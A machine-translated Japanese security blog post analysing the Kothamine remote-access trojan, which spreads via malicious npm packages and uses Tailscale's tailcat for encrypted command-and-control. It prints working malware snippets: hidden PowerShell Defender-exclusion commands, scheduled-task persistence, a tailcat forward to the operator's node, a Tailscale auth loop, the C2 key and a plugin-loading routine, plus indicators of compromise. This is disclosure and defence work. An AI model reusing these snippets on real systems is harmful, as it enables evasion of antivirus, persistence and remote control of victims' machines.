Kothamineマルウェアは、Tailscaleのtailcatを使用してネットワーク検出を回避する。 

| 2026年9月25日
Kothamineマルウェアは、Tailscaleのtailcatを使用してネットワーク検出を回避する。 

Kothamine Agentと呼ばれる、これまで文書化されていなかったリモートアクセス型トロイの木馬 (RAT) を発見しました。これは 30 以上のコマンドをサポートしており、攻撃者は感染したコンピュータを制御できます。 Windows コンピュータ:コマンドの実行、ファイルの読み書き、新機能の追加などが可能です。一部のバージョンでは、ブラウザデータの窃盗や、カメラとマイクによる録音も可能です。 

Kothamineは悪意のあるnpmパッケージと関連付けられており、これらのパッケージをインストールするユーザーや開発者を危険にさらす可能性があることが判明しました。最新バージョンでは、このマルウェアはTailscaleのオープンソースツールであるtailcatを使用して、暗号化された接続を介してコマンドを受信します。これにより、通信の検査が困難になり、防御側は従来のコマンド&コントロール(C2)ドメインをブロックすることができなくなります。

VirusTotalへのアップロードとGitHubのコミットに基づくと、Kothamineは少なくとも7月から開発または配布されていたようだ。以前のバージョンではTailscaleが使用されていた。 VPN tailcatの代わりに、マルウェアはビルドによってはネットワークツールを内蔵している場合もあれば、GitHubなどのソースからダウンロードする場合もあります。

安全に過ごすには 

見慣れないnpmパッケージをインストールする前に、リポジトリ、メンテナー、依存関係、および最新リリースを確認してください。悪意のある活動の報告がないか調べ、実績があり定期的なメンテナンスが行われているパッケージを優先的に使用してください。

  • 名前をよく確認してください。似たような名前の偽のパッケージをダウンロードしていないか確認してください。 
  • 開発者または組織を確認し、発行元が正当なものであることを確認してください。例えば、ウェブサイトやGitHubリポジトリがあるかどうかを確認してください。 
  • レビュー、問題点、報告などを読んでみてください。パッケージ名をGoogleで検索し、マルウェアの可能性が検出されたという報告がないか確認してください。 
  • その人気度を見てください。ダウンロード数やユーザー数が多いパッケージは、履歴がほとんどない真新しいパッケージよりも、一般的に検証が容易です。 

テクニカル分析

Kothamineと悪意のあるnpmパッケージ

KothamineはC言語とC++で記述されています。分析したサンプルの大部分では、インジェクターとエージェントを含むDLLで構成されています。エージェントは30以上のコマンドをサポートしており、オペレーターは感染したシステムを制御し、追加のDLLをロードして機能を拡張することができます。

Kothamine Agentは時間の経過とともにいくつかの変更を受けています。VirusTotalで見つかった以前のバージョンはTailscaleを使用していました。 VPN テールキャットではなく、文字列は暗号化されていませんでした。ユーザーアカウント制御(UAC)のバイパスやスティーラーコマンドなど、一部の機能は特定のビルドでのみ検出されました。 

一部のバージョンでは、KothamineはTailscaleのファイルをエージェントに含める代わりに、公式のTailscaleウェブサイトまたはGitHubリポジトリからダウンロードしていました。

同じGitHubリポジトリが引用されている 勧告 悪意のある npm パッケージについて dotnet-runtime-baseパッケージのダウンロード npm-sc-legit.exe そのリポジトリから。この記事執筆時点では、同じ開発者によって公開された他の2つのパッケージは既に削除されていた。

これらのキャンペーンの著者は間違いを犯し、コンパイルの手順を公開しました kothamine-stub-cpp パッケージの1つに含まれています。ガイドでは.NETアセンブリの読み込みについても説明していますが、分析したサンプルではそのような動作は確認できませんでした。

について npm-sc-legit.exe 実行ファイルはKothamineのコンパイル済みバージョンであり、データ窃盗用のコマンドも含まれています。Kothamine用のパネルやビルダーは見つかりませんでしたが、異なるビルドに存在する機能から、オペレーターは必要に応じて特定の機能やコマンドを有効にできることが示唆されます。

以下の分析では、C2通信にtailcatを使用する最近のKothamineエージェントのサンプルに焦点を当てています。

コタミン剤の作用機序

分析されたバージョンでは、内部的にKothamine Injectorと呼ばれる実行ファイルがKothamine Agent DLLを注入します。通常は explorer.exeまた、エージェントがどのように変化したかを示すために、以前のバージョンも参照します。

1.コタミン注射器

コタミン注射器は以下の操作を実行します。 

  • 追加Windows PowerShell を使用した Defender の除外設定
  • 自身をコピーして %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • エージェントDLLを抽出して %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • 作成する up.ps1 で %TEMP% 持続性のために
  • エージェントDLLを注入します explorer.exe 使用 OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread、そして LoadLibraryA

について up.ps1 このスクリプトは、Injector実行ファイルを使用して永続性を実現するためのスケジュール済みタスクを作成します。 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. コタミン剤 

エージェントの起動 

エージェントはミューテックスを作成します。 Local\KothamineAgentInstance そしてメインスレッドを開始する。

次に、PowerShell コマンドを実行して、実行可能ファイルと DLL をWindows ディフェンダー除外リスト:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

以前のバージョンでは文字列は暗号化されていませんでした。最近のバージョンでは、文字列はインラインで復号化されるか、各文字列ごとに異なる鍵を使用してXOR演算を行う関数によって復号化されます。

Tailcatを使用したC2通信 

Kothamineの特徴は、技術的な複雑さ、エージェントの機能、難読化ではなく、tailcatとTailscaleの使用にある。 VPN 実行するコマンドを受信する。これにより、エージェントは堅牢で暗号化された通信チャネルを利用できるようになる。

Tailcatは、Tailscaleチームが最近リリースしたオープンソースプロジェクトです。TailcatはTailscaleのデータプレーン(WireGuard、NATトラバーサル、DERP)を利用しますが、コントロールプレーンは使用しません。公式ドキュメントによると、これはTailcatにはIPアドレス、アカウント、管理者、ユーザー、管理制御、ガバナンスが存在しないことを意味します。そのため、これらの特性から、マルウェア開発において魅力的なツールとなっています。 

テイルスケールとは異なりVPN tailcatはアカウント登録やデバイス登録を必要としません。開発者は短時間の接続を想定して設計しました。

アカウントが存在しないため、アクセスはテールキャットアドレスと接続デバイスを識別するために使用される公開鍵の所有に基づいて行われます。ただし、これにより接続が完全に匿名になるわけではありません。ホスト型リレーはメタデータログを保持する可能性があります。

について tc-address フォワードフラグを付加して渡すことで、クライアントはリクエストを正しくルーティングするために必要な情報を取得できます。さらに、tailcatはCLIツールとユーザースペースライブラリを使用するため、マシンへの特権アクセスを必要としません。 

最近のKothamineバージョンでは、エージェントはリソースからtailcatを抽出し、それを次のように保存します。 %ROAMING%\TailscalePortable\tailcat.exe.

tailcat 実行ファイルは、 CreateProcessA 関数と以下のパラメータ(内部的には spawn_tailcat_forward 段階): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

このコマンドは、tailcat サーバーのポートを標準のローカル TCP ポートとして使用可能にします (18080 この場合)リクエストはポートに転送されます 4444 オペレーターのノードの。Kothamine はソケット関数を使用して接続します。 127.0.0.1:18080テールキャットが聞いている場所。 

エージェント ID 文字列が空でない場合、エージェントは次の情報を含む暗号化されたプロファイル要求を送信します (run_c2_loop 段階): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

その後、エージェントは無限ループに入り、C2から実行するコマンドを受け取ります(run_c2_loop フェーズ) エージェントは、新しいコマンドの実行を待ちます。 select ソケット機能であり、コマンドが受信されない場合は定期的にキープアライブメッセージを送信します。 

C2 と交換されるメッセージは AES-GCM を使用して暗号化および復号化されます (aes_encrypt 段階)。  

32 バイトの AES キーは文字列から base64 デコードされます (c2_key 段階): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

サポートされているコマンド 

このビルドでは、Kothamineエージェントは30個のコマンドをサポートしています。 関連: 

  • プロセスとの相互作用
  • ファイルとディレクトリとのやり取り
  • シェルコマンドを実行する
  • 受信したDLLに基づいてエージェントの機能を拡張する
コマンド名 説明 
sysinfo/systeminfo, curpid PID、現在のパス、ホスト名、OS(ハードコード済み)などのシステム情報を返します。 
tasklist, kill 「 tasklist /FO CSV /NH 」で取得したプロセスを返します。「 taskkill /F /PID 」を使用して、PIDで指定されたプロセスを終了します。 
ping ライブネスチェック後、「Pong」はC2に戻ります。 
ipconfig 「 ipconfig /all 」コマンドを実行し、結果を返します。 
exec, shell_exec_popen()を使用してシェルコマンドを実行し、その出力を返します。 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdシステム上のファイルやフォルダとやり取りします。 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, download任意のファイルの読み書きおよび削除を行います。 
load_feature受信したBase64エンコードされたDLLを書き込み、ロードします。DLLはLoadLibraryAを使用してロードされ、 GetProcAddressで解決された「 GetFeatureApi 」メソッドが実行されます。関数を実行するために必要な関数ポインタを保存します。 
exec_feature, features, list_features, unload_featureロードされた機能と連携して、それらの機能を表示、実行、または削除します。 

他のコマンドは他のエージェントにも共通しているため、分析の焦点は、オペレーターがDLLを受信して​​エージェントの機能を拡張できるようにする「プラグイン」システムに置かれる。 

プラグインシステム 

新しいDLLをロードするには、オペレーターは次のコマンドを使用します。 

load_feature <name> <B64EncodedDLL> 

大まかに言うと、このプロセスは次のように機能します。以下のコードと変数名は、使用ログと出力ログから再構築されたものです。

  1. まず、エージェントは機能が既にロードされているかどうかを確認し、ロードされている場合はアンロードします。 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. 受信したDLLを、以下の方法で取得した場所に作成しようとします。 GetTempPath または SHGetFolderPathAまたはハードコードされたパス C:\Windows\TempデコードされたDLLを書き込み、それをロードします。 LoadLibraryA.
  1. 解決して実行します GetFeatureApi ロードされたDLLのメソッド: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

返された構造を完全に分析できるDLLは見つかりませんでした。 GetFeatureApiしかし、コードと文字列を分析した結果、以下のフィールドが特定されました。 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

ロードされたDLLと返された構造体へのポインタはグローバル変数に保存されます。 内部的に呼び出される変数 g_featuresこの構造を使用します。 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. 実行する init 返された構造体に含まれる関数に、C2通信に使用される関数を渡します。 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

機能がロードされた後、オペレーターは次のコマンドを使用してロードされた機能を実行できます。 

exec_feature <functionName> [args] 

さまざまなコタミンビルド:テイルスケールVPN UACバイパスとスティーラーコマンド 

前述のとおり、我々は異なる機能を持つKothamineのバージョンを検出した。

以前のバージョンではテールスケールを使用していましたVPN Tailcatがリリースされる前に、彼らはTailscaleのWebサイトからインストーラーをダウンロードして実行しました。 /quiet そして /silent フラグを使用するか、必要なファイルをGitHubから直接ダウンロードしました。これには以下が含まれます。 tailscaled.exe, tailscale.exe, tailscale-ipn.exe、そして wintun.dll.

一部のバージョンでは、ユーザーアカウント制御(UAC)をバイパスするために fodhelper.exe 走る elevated.ps1以下の例では、PowerShell スクリプトが Tailscale を起動します。 VPN 繋がり:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

エージェントはその後ポートに接続します 4444 TailscaleネットワークIPアドレスで(100.x.x.x)そしてコマンドの受信と実行を開始します。

最後に、前述したように、Kothamine の異なるビルドでは、他のコマンドがサポートされています。たとえば、GitHub にアップロードされたバージョンには、次のような追加コマンドが含まれています。 getdiscord, getsessions, screenshot, screenshare、そして cameraこれらにより、オペレーターは以下のことが可能になります。

  • 様々なブラウザからクッキーを盗む
  • SteamやMinecraftに関連するファイルを含む、ゲーム関連のJSONファイルを盗む。
  • スクリーンショットを撮り、カメラとマイクを通して録音する
  • クリップボードの内容にアクセスする

侵害の兆候

SHA-256ハッシュ 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0ブログで分析されたコタミン注射器 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70cブログで分析されたコタミン剤 

URL 

  • https://github[.]com/cphc811-ui/Tailscaleに関連付けられた実行ファイルとDLLをダウンロードするために使用されるリポジトリVPN 

謝辞    

Mondooによる分析対象のnpmパッケージに関するアドバイス。


誰にも見られていないかのように、自由に閲覧してください。 

Malwarebytes Privacy VPN 接続をVPN 、ユーザーの行動を一切記録しません。だから、次に読む記事が自分事のように感じられることはありません。無料でお試しください → 

著者について

ガブリエレは、マルウェアとの戦いをこよなく愛するマルウェア研究エンジニアです。仕事以外の時間には、自然や芸術、動物と触れ合うことを楽しんでいます。